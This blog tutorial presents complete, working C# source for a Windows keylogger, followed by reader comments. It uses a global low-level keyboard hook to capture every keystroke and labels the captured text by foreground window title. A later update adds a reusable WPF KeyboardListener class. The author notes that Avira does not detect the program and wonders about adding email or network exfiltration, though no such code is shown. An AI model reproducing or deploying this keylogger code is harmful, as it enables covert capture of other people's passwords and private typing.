C#, WinForm, WPF – Low level hook keyboard to write a simple keylogger

When I saw a video tutorial for writing a simple keylogger in VB.NET, I would like to write my own one in C# because I do not like the way which the author of this video uses timer to monitor which window is being now the foreground window. This simple keylogger bases on hooking low level keyboard with API SetWindowsHookEx to get key input. What makes me interesting is Avira Antivirus does not recognize my keylogger as malicious software ^^. I think when I implement to send the report to email or open port to send data back to me, Avira recognizes it immediately.
The keylogger has a low level hook keyboard engine class

LowLevelHook llhEngine = new LowLevelHook();

This class has a KeyDownChar event which will be raised each time when we press a key on keyboard. The keylogger will subscribe this event and save key into a text box.

llhEngine.KeyDownChar += new LowLevelHook.KeyDownCharEventHandler(llhEngine_KeyDownChar); 
void llhEngine_KeyDownChar(uint vkCode, uint scancode)
{
	IntPtr ipForegroundWindow = GetForegroundWindow();
	int nLength = GetWindowTextLength(ipForegroundWindow);
	StringBuilder sbTemp = new StringBuilder("", nLength + 1);
	m_strPrefix = "";
	GetWindowText(ipForegroundWindow, sbTemp, sbTemp.Capacity);
	if (m_strLast != sbTemp.ToString())
	{
		m_strLast = sbTemp.ToString();
		m_strPrefix = Environment.NewLine + m_strLast + Environment.NewLine;
	}

	txtText.Dispatcher.Invoke(new UpdateTextDel(UpdateText), m_strPrefix + ProcessInputKey(vkCode,scancode));
}

When saving the entered key, I would like to find out if the user is entering data in new window or not. Having this information, we have a chance to separate and organize our data for each application. At the code behind of hook engine, I set a hook with API SetWindowsHookEx

public LowLevelHook()
{
	Process process = Process.GetCurrentProcess();
	ProcessModule module = process.MainModule;
	IntPtr hModule = GetModuleHandle(module.ModuleName);
	KeyboardHookDel = KeyboardHookProc;
	m_ipKeyHookResult = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, KeyboardHookDel, hModule, 0);
}

To get handle of current process of keylogger, maybe you think of something like this

System.Runtime.InteropServices.Marshal.GetHINSTANCE(
System.Reflection.Assembly.GetExecutingAssembly.GetModules()[0])

But the code using reflection above does not work together with SetWindowsHookEx. Apply the handle got by code line above to SetWindowsHookEx will not success, I always get IntPtr.Zero as result of SetWindowsHookEx. The delegate KeyboardHookDel points to a function which raises KeyDownChar event and vkCode and scan code of entered key

private IntPtr KeyboardHookProc(int code, IntPtr wParam, IntPtr lParam)
{
	if (code >= HC_ACTION)
	{
		KBDLLHOOKSTRUCT kbhsStruct;
		switch (wParam.ToInt32())
		{
			case WM_KEYDOWN:
			case WM_SYSKEYDOWN:
				kbhsStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, (new KBDLLHOOKSTRUCT()).GetType());                      
				if (KeyDownChar != null) KeyDownChar(kbhsStruct.vkCode,kbhsStruct.scanCode);
				break;
	
		}
	}
	return CallNextHookEx(m_ipKeyHookResult, code, wParam, lParam);
}

The complete source code of this simple keylogger you can download here “Hook Keyboard

UPDATE 09.11.2011

For WPF use this class below. It can also be used for Winform with some modifications.

public class KeyboardListener : IDisposable
{
	/// <summary>
	/// Creates global keyboard listener.
	/// </summary>
	public KeyboardListener()
	{
		// Dispatcher thread handling the KeyDown/KeyUp events.
		this.dispatcher = Dispatcher.CurrentDispatcher;

		// We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
		hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;

		// Set the hook
		hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);

		// Assign the asynchronous callback event
		hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
	}

	private Dispatcher dispatcher;

	/// <summary>
	/// Destroys global keyboard listener.
	/// </summary>
	~KeyboardListener()
	{
		Dispose();
	}

	/// <summary>
	/// Fired when any of the keys is pressed down.
	/// </summary>
	public event RawKeyEventHandler KeyDown;

	/// <summary>
	/// Fired when any of the keys is released.
	/// </summary>
	public event RawKeyEventHandler KeyUp;

	#region Inner workings

	/// <summary>
	/// Hook ID
	/// </summary>
	private IntPtr hookId = IntPtr.Zero;

	/// <summary>
	/// Asynchronous callback hook.
	/// </summary>
	/// <param name="character">Character</param>
	/// <param name="keyEvent">Keyboard event</param>
	/// <param name="vkCode">VKCode</param>
	private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);

	/// <summary>
	/// Actual callback hook.
	///
	/// <remarks>Calls asynchronously the asyncCallback.</remarks>
	/// </summary>
	/// <param name="nCode"></param>
	/// <param name="wParam"></param>
	/// <param name="lParam"></param>
	/// <returns></returns>
	[MethodImpl(MethodImplOptions.NoInlining)]
	private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
	{
		string chars = "";

		if (nCode >= 0)
			if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
				wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
			{
				// Captures the character(s) pressed only on WM_KEYDOWN
				chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
					(wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
					wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));

				hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
			}

		return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
	}

	/// <summary>
	/// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
	/// </summary>
	private KeyboardCallbackAsync hookedKeyboardCallbackAsync;

	/// <summary>
	/// Contains the hooked callback in runtime.
	/// </summary>
	private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;

	/// <summary>
	/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
	/// </summary>
	/// <param name="keyEvent">Keyboard event</param>
	/// <param name="vkCode">VKCode</param>
	/// <param name="character">Character as string.</param>
	private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
	{
		switch (keyEvent)
		{
			// KeyDown events
			case InterceptKeys.KeyEvent.WM_KEYDOWN:
				if (KeyDown != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
				break;
			case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
				if (KeyDown != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
				break;

			// KeyUp events
			case InterceptKeys.KeyEvent.WM_KEYUP:
				if (KeyUp != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
				break;
			case InterceptKeys.KeyEvent.WM_SYSKEYUP:
				if (KeyUp != null)
					dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
				break;

			default:
				break;
		}
	}

	#endregion Inner workings

	#region IDisposable Members

	/// <summary>
	/// Disposes the hook.
	/// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
	/// </summary>
	public void Dispose()
	{
		InterceptKeys.UnhookWindowsHookEx(hookId);
	}

	#endregion IDisposable Members
}

/// <summary>
/// Raw KeyEvent arguments.
/// </summary>
public class RawKeyEventArgs : EventArgs
{
	/// <summary>
	/// VKCode of the key.
	/// </summary>
	public int VKCode;

	/// <summary>
	/// WPF Key of the key.
	/// </summary>
	public Key Key;

	/// <summary>
	/// Is the hitted key system key.
	/// </summary>
	public bool IsSysKey;

	/// <summary>
	/// Convert to string.
	/// </summary>
	/// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
	public override string ToString()
	{
		return Character;
	}

	/// <summary>
	/// Unicode character of key pressed.
	/// </summary>
	public string Character;

	/// <summary>
	/// Create raw keyevent arguments.
	/// </summary>
	/// <param name="VKCode"></param>
	/// <param name="isSysKey"></param>
	/// <param name="Character">Character</param>
	public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
	{
		this.VKCode = VKCode;
		this.IsSysKey = isSysKey;
		this.Character = Character;
		this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
	}
}

/// <summary>
/// Raw keyevent handler.
/// </summary>
/// <param name="sender">sender</param>
/// <param name="args">raw keyevent arguments</param>
public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);

#region WINAPI Helper class

/// <summary>
/// Winapi Key interception helper class.
/// </summary>
internal static class InterceptKeys
{
	public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
	public static int WH_KEYBOARD_LL = 13;

	/// <summary>
	/// Key event
	/// </summary>
	public enum KeyEvent : int
	{
		/// <summary>
		/// Key down
		/// </summary>
		WM_KEYDOWN = 256,

		/// <summary>
		/// Key up
		/// </summary>
		WM_KEYUP = 257,

		/// <summary>
		/// System key up
		/// </summary>
		WM_SYSKEYUP = 261,

		/// <summary>
		/// System key down
		/// </summary>
		WM_SYSKEYDOWN = 260
	}

	public static IntPtr SetHook(LowLevelKeyboardProc proc)
	{
		using (Process curProcess = Process.GetCurrentProcess())
		using (ProcessModule curModule = curProcess.MainModule)
		{
			return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
		}
	}

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	[return: MarshalAs(UnmanagedType.Bool)]
	public static extern bool UnhookWindowsHookEx(IntPtr hhk);

	[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);

	[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern IntPtr GetModuleHandle(string lpModuleName);

	#region Convert VKCode to string

	// Note: Sometimes single VKCode represents multiple chars, thus string.
	// E.g. typing "^1" (notice that when pressing 1 the both characters appear,
	// because of this behavior, "^" is called dead key)

	[DllImport("user32.dll")]
	private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);

	[DllImport("user32.dll")]
	private static extern bool GetKeyboardState(byte[] lpKeyState);

	[DllImport("user32.dll")]
	private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);

	[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
	private static extern IntPtr GetKeyboardLayout(uint dwLayout);

	[DllImport("User32.dll")]
	private static extern IntPtr GetForegroundWindow();

	[DllImport("User32.dll")]
	private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

	[DllImport("user32.dll")]
	private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);

	[DllImport("kernel32.dll")]
	private static extern uint GetCurrentThreadId();

	private static uint lastVKCode = 0;
	private static uint lastScanCode = 0;
	private static byte[] lastKeyState = new byte[255];
	private static bool lastIsDead = false;

	/// <summary>
	/// Convert VKCode to Unicode.
	/// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
	/// </summary>
	/// <param name="VKCode">VKCode</param>
	/// <param name="isKeyDown">Is the key down event?</param>
	/// <returns>String representing single unicode character.</returns>
	public static string VKCodeToString(uint VKCode, bool isKeyDown)
	{
		// ToUnicodeEx needs StringBuilder, it populates that during execution.
		System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);

		byte[] bKeyState = new byte[255];
		bool bKeyStateStatus;
		bool isDead = false;

		// Gets the current windows window handle, threadID, processID
		IntPtr currentHWnd = GetForegroundWindow();
		uint currentProcessID;
		uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);

		// This programs Thread ID
		uint thisProgramThreadId = GetCurrentThreadId();

		// Attach to active thread so we can get that keyboard state
		if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
		{
			// Current state of the modifiers in keyboard
			bKeyStateStatus = GetKeyboardState(bKeyState);

			// Detach
			AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
		}
		else
		{
			// Could not attach, perhaps it is this process?
			bKeyStateStatus = GetKeyboardState(bKeyState);
		}

		// On failure we return empty string.
		if (!bKeyStateStatus)
			return "";

		// Gets the layout of keyboard
		IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);

		// Maps the virtual keycode
		uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);

		// Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
		if (!isKeyDown)
			return "";

		// Converts the VKCode to unicode
		int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);

		string ret = "";

		switch (relevantKeyCountInBuffer)
		{
			// Dead keys (^,`...)
			case -1:
				isDead = true;

				// We must clear the buffer because ToUnicodeEx messed it up, see below.
				ClearKeyboardBuffer(VKCode, lScanCode, HKL);
				break;

			case 0:
				break;

			// Single character in buffer
			case 1:
				ret = sbString[0].ToString();
				break;

			// Two or more (only two of them is relevant)
			case 2:
			default:
				ret = sbString.ToString().Substring(0, 2);
				break;
		}

		// We inject the last dead key back, since ToUnicodeEx removed it.
		// More about this peculiar behavior see e.g:
		//   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
		//   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
		//   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
		if (lastVKCode != 0 && lastIsDead)
		{
			System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
			ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
			lastVKCode = 0;

			return ret;
		}

		// Save these
		lastScanCode = lScanCode;
		lastVKCode = VKCode;
		lastIsDead = isDead;
		lastKeyState = (byte[])bKeyState.Clone();

		return ret;
	}

	private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
	{
		System.Text.StringBuilder sb = new System.Text.StringBuilder(10);

		int rc;
		do
		{
			byte[] lpKeyStateNull = new Byte[255];
			rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
		} while (rc < 0);
	}

	#endregion Convert VKCode to string
}

#endregion WINAPI Helper class

and use it like this

public partial class MainWindow : Window
{
	KeyboardListener KListener = new KeyboardListener();

	public MainWindow()
	{
		InitializeComponent();
	}

	private void Window_Loaded(object sender, RoutedEventArgs e)
	{
		KListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
	}

	private void KListener_KeyDown(object sender, RawKeyEventArgs args)
	{
		//Console.WriteLine(args.Key.ToString());
		//Console.WriteLine(args.ToString()); // Prints the text of pressed button, takes in account big and small letters. E.g. "Shift+a" => "A"
		txtText.Text += args.ToString();
	}

	private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
	{
		KListener.Dispose();
	}
}

16 thoughts on “C#, WinForm, WPF – Low level hook keyboard to write a simple keylogger”

  1. I just want to know how to catch arabic letters, because when i write arabic not catch them .

  2. @Sufian: I tested with Vietnamese and it works. I am sorry that I can’t help you because I do not have an Arabic keyboard.

  3. THANKS!
    Thanks, I seeked in the internet a lot of C# open surce free keyloggers, and this was the only one that i found with full and bug free c# keylogger.

  4. Hello, nice work. I’m trying to implement something like that for my job but in winforms (when I try to organize a project everything is messed up and nothing works). Can you make a little example in winforms??? That will help me so much (I’m in a hurry here! XD).

    Thank You.

  5. Really nice example. But the accents stops working. Like ~~, ou ´´ when you press the key. I can’t find a solution. Can you, please?

  6. Thanks for posting this it was extremely helpful,
    I am not looking to make any malicious software but I wanted to catch keys with the program in the background so thank you.

  7. Thank you for your very clear information and guide.
    It helped me understand quite a few new things!

    Keep up the great tutorials!

  8. the only piece of code that exaplains a solves the dreadful Ascii and ToUnicode bug with the deadkeys.
    Excellent work here.

  9. Nice 1
    thanks a lot
    I searched very hard for this
    but I satisfy by only this solution
    I want same for mouse keys
    any solution??

  10. @Saurabh Solanki: There is surely a solution for Mouse Hook on Internet. Let’s make a search, you’ll find it :).

Leave a Reply

Your email address will not be published. Required fields are marked *